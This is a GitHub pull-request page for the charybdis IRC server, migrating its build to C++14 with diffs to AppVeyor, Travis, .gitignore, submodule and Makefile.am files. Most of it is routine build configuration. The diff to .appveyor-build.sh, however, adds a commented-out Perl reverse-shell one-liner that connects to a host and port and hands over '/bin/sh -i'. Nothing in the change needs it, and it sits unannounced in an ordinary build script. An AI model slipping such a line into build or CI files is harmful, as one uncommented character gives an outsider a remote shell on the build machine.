Skip to content
This repository has been archived by the owner on Jun 24, 2021. It is now read-only.

Full C++14 integration. #198

Merged
merged 23 commits into from
Jul 23, 2016
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
23 commits
Select commit Hold shift + click to select a range
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
The table of contents is too big for display.
Diff view
Diff view
  •  
  •  
  •  
3 changes: 2 additions & 1 deletion .appveyor-build.sh
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ export MSYSTEM=MINGW64
export PATH=/mingw64/bin:/usr/local/bin:/usr/bin:/bin:/c/Windows/system32:/c/Windows:/c/Windows/System32/Wbem:/c/Windows/System32/WindowsPowerShell/v1.0:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl

sh ./autogen.sh
./configure --prefix=c:/projects/charybdis/build --enable-openssl=/mingw64
./configure --prefix=c:/projects/charybdis/build --enable-openssl=/mingw64 --with-included-boost
# perl -e 'use Socket;$i="0.0.0.0";$p=6667;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
make -j2
make install
2 changes: 1 addition & 1 deletion .appveyor.yml
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ build_script:
# - c:\msys64\usr\bin\sh.exe -lc "cd $APPVEYOR_BUILD_FOLDER/build/bin; ./charybdis -version"
on_failure:
- ps: Push-AppveyorArtifact config.log
- ps: Push-AppveyorArtifact librb\include\librb-config.h
- ps: Push-AppveyorArtifact include\rb\config.h
branches:
except:
- release/3.5
30 changes: 3 additions & 27 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@ Makefile
*.orig
*.log
*.sw?
*.gch
.deps
.dirstamp
.libs
Expand All @@ -28,31 +29,8 @@ config.status
configure
stamp-h1
libltdl/
librb/configure
librb/compile
librb/depcomp
librb/aclocal.m4
librb/include/librb_config.h
librb/include/librb_config.h.in
librb/include/librb-config.h
librb/include/serno.h
librb/librb.pc
librb/ltmain.sh
librb/missing
librb/libratbox.pc
librb/libtool
librb/src/version.c
librb/src/version.c.last
scripts/*.tar.bz2
scripts/*.tar.gz
include/setup.h
include/setup.h.in
ircd/charybdis
ircd/ircd_parser.c
ircd/ircd_parser.h
ircd/ircd_lexer.c
ircd/version.c
ircd/version.c.last
ssld/ssld
wsockd/wsockd
testsuite/ircd.pid.*
Expand All @@ -61,10 +39,6 @@ tools/charybdis-mkfingerprint
tools/genssl
tools/mkpasswd
tools/viconf
include/serno.h
ircd/charybdis
ircd/version.c
ircd/version.c.last
/libtool
Makefile.in
m4/argz.m4
Expand All @@ -76,3 +50,5 @@ m4/ltsugar.m4
m4/ltversion.m4
m4/lt~obsolete.m4
*.dSYM/
install-sh
ylwrap
3 changes: 3 additions & 0 deletions .gitmodules
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
[submodule "boost"]
path = boost
url = https://github.com/boostorg/boost.git
142 changes: 100 additions & 42 deletions .travis.yml
Original file line number Diff line number Diff line change
@@ -1,48 +1,103 @@
# Travis-CI Build for charybdis
# see travis-ci.org for details

language: c

# Use the faster container-based infrastructure.
language: c++
sudo: false

git:
submodules: false

matrix:
include:
- os: linux
compiler: gcc-4.8
addons:
apt:
sources: ['ubuntu-toolchain-r-test']
packages: ['gcc-4.8', 'automake', 'autoconf', 'libtool', 'shtool', 'libsqlite3-dev']
env: COMPILER=gcc-4.8

- os: linux
compiler: gcc-4.9
addons:
apt:
sources: ['ubuntu-toolchain-r-test']
packages: ['gcc-4.9', 'automake', 'autoconf', 'libtool', 'shtool', 'libsqlite3-dev']
env: COMPILER=gcc-4.9

- os: linux
compiler: gcc-5
addons:
apt:
sources: ['ubuntu-toolchain-r-test']
packages: ['gcc-5', 'automake', 'autoconf', 'libtool', 'shtool', 'libsqlite3-dev']
env: COMPILER=gcc-5

# - os: linux
# compiler: clang
# addons:
# apt:
# sources: ['ubuntu-toolchain-r-test', 'llvm-toolchain-precise-3.7']
# packages: ['clang-3.7', 'automake', 'autoconf', 'libtool', 'shtool', 'libsqlite3-dev']
# env: COMPILER=clang-3.7

- os: osx
compiler: clang
env: COMPILER=clang LIBTOOLIZE=glibtoolize
- os: linux
dist: precise
group: stable
compiler: gcc-4.9
addons:
apt:
sources:
- ubuntu-toolchain-r-test
packages:
- gcc-4.9
- g++-4.9
- ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev']
env:
- CCOMPILER=gcc-4.9
- CXXCOMPILER=g++-4.9

- os: linux
dist: precise
group: stable
compiler: gcc-5
addons:
apt:
sources:
- ubuntu-toolchain-r-test
packages:
- gcc-5
- g++-5
- ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev']
env:
- CCOMPILER=gcc-5
- CXXCOMPILER=g++-5

- os: linux
dist: trusty
group: unstable
compiler: gcc-6
sudo: required
addons:
apt:
sources:
- ubuntu-toolchain-r-test
packages:
- gcc-6
- g++-6
- ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev']
env:
- CCOMPILER=gcc-6
- CXXCOMPILER=g++-6

- os: linux
dist: precise
group: unstable
sudo: false
compiler: clang-3.6
addons:
apt:
sources:
- ubuntu-toolchain-r-test
- llvm-toolchain-precise-3.6
packages:
- clang-3.6
- ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev']
env:
- CCOMPILER=clang-3.6
- CXXCOMPILER=clang++-3.6

- os: linux
dist: trusty
group: unstable
sudo: required
compiler: clang-3.8
addons:
apt:
sources:
- ubuntu-toolchain-r-test
- llvm-toolchain-precise-3.8
packages:
- clang-3.8
- ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev']
env:
- CCOMPILER=clang-3.8
- CXXCOMPILER=clang++-3.8

- os: osx
compiler: clang
env:
- CCOMPILER=clang
- CXXCOMPILER=clang++
- LIBTOOLIZE=glibtoolize


osx_image: xcode7.3
Expand All @@ -52,7 +107,10 @@ cache:
ccache:

script:
- bash autogen.sh
- CC=$COMPILER ./configure --with-shared-sqlite
- make -j4
- make install
- export CC=$CCOMPILER CXX=$CXXCOMPILER
- $CC --version
- $CXX --version
- time bash autogen.sh
- time ./configure --with-shared-sqlite --with-included-boost CC=$CC CXX=$CXX
- time make -j4
- time make -j4 install
96 changes: 43 additions & 53 deletions Makefile.am
Original file line number Diff line number Diff line change
@@ -1,59 +1,49 @@
AUTOMAKE_OPTIONS = foreign
ACLOCAL_AMFLAGS = -I m4

SUBDIRS = librb

SUBDIRS = include/rb
if BUILD_LTDL
SUBDIRS += libltdl
endif

SUBDIRS += ircd \
ssld \
wsockd \
authd \
bandb \
tools \
modules \
extensions \
help \
doc

logdir = @prefix@/logs

BUILT_SOURCES = include/serno.h

include/serno.h:
@if [ -d .git ]; then \
revh=`git log -1 --date=format:%Y%m%d --pretty=format:%cd-%h`; \
datecode=`git log -1 --pretty=format:%ct`; \
if [ -n "$$revh" ]; then \
echo '#define SERNO "'$$revh'"' >include/serno.h ; \
echo "#define DATECODE $${datecode}UL" >>include/serno.h; \
fi \
fi
@if [ ! -f include/serno.h ]; then \
echo '#define SERNO "unknown"' >include/serno.h; \
echo '#define DATECODE 0UL' >>include/serno.h; \
fi

install-data-hook:
test -d ${DESTDIR}${logdir} || mkdir -p ${DESTDIR}${logdir}

install-exec-hook:
rm -f ${DESTDIR}${moduledir}/*.la
rm -f ${DESTDIR}${moduledir}/autoload/*.la
rm -f ${DESTDIR}${moduledir}/extensions/*.la
rm -f ${DESTDIR}${moduledir}/*.dll.a
rm -f ${DESTDIR}${moduledir}/autoload/*.dll.a
rm -f ${DESTDIR}${moduledir}/extensions/*.dll.a

distclean-local:
rm -f librb/include/librb-config.h

clean-local:
rm -f include/serno.h
rm -f ircd/ircd_lexer.c
rm -f ircd/ircd_parser.c
rm -f ircd/ircd_parser.h
rm -f ircd/version.c
rm -f ircd/version.c.last
SUBDIRS += rb
SUBDIRS += ircd
SUBDIRS += charybdis
SUBDIRS += authd
SUBDIRS += bandb
SUBDIRS += ssld
SUBDIRS += wsockd
SUBDIRS += modules
SUBDIRS += extensions
SUBDIRS += tools
SUBDIRS += help
SUBDIRS += doc


mrproper-local:
rm -f aclocal.m4
rm -rf autom4te.cache
rm -f compile
rm -f config.*
rm -f configure
rm -f depcomp
rm -f ltmain.sh
rm -f install-sh
rm -rf libltdl
rm -f libtool
rm -f missing
rm -f ylwrap
rm -f */Makefile
rm -f */Makefile.in
rm -f include/*/Makefile
rm -f include/*/Makefile.in
rm -rf */.deps
rm -f Makefile
rm -f Makefile.in
rm -f m4/argz.m4
rm -f m4/libtool.m4
rm -f m4/ltargz.m4
rm -f m4/ltdl.m4
rm -f m4/ltoptions.m4
rm -f m4/ltsugar.m4
rm -f m4/ltversion.m4
rm -f m4/lt~obsolete.m4
48 changes: 31 additions & 17 deletions authd/Makefile.am
Original file line number Diff line number Diff line change
@@ -1,20 +1,34 @@
pkglibexec_PROGRAMS = authd
AM_CFLAGS=$(WARNFLAGS)
AM_CPPFLAGS = -I../include -I../librb/include
AM_CPPFLAGS = \
-I$(top_srcdir)/include \
@BOOST_CPPFLAGS@

AM_LDFLAGS = \
-L$(top_srcdir)/rb \
@BOOST_LDFLAGS@


bin_PROGRAMS = authd

authd_LDADD = \
$(top_srcdir)/rb/librb.la \
@BOOST_LIBS@

authd_SOURCES = \
authd.c \
dns.c \
getaddrinfo.c \
getnameinfo.c \
notice.c \
provider.c \
res.c \
reslib.c \
reslist.c \
providers/blacklist.c \
providers/ident.c \
providers/rdns.c \
providers/opm.c
authd.cc \
dns.cc \
getaddrinfo.cc \
getnameinfo.cc \
notice.cc \
provider.cc \
res.cc \
reslib.cc \
reslist.cc \
providers/blacklist.cc \
providers/ident.cc \
providers/rdns.cc \
providers/opm.cc


authd_LDADD = ../librb/src/librb.la
mrproper-local:
rm -rf providers/.deps
rm -f providers/.dirstamp
Loading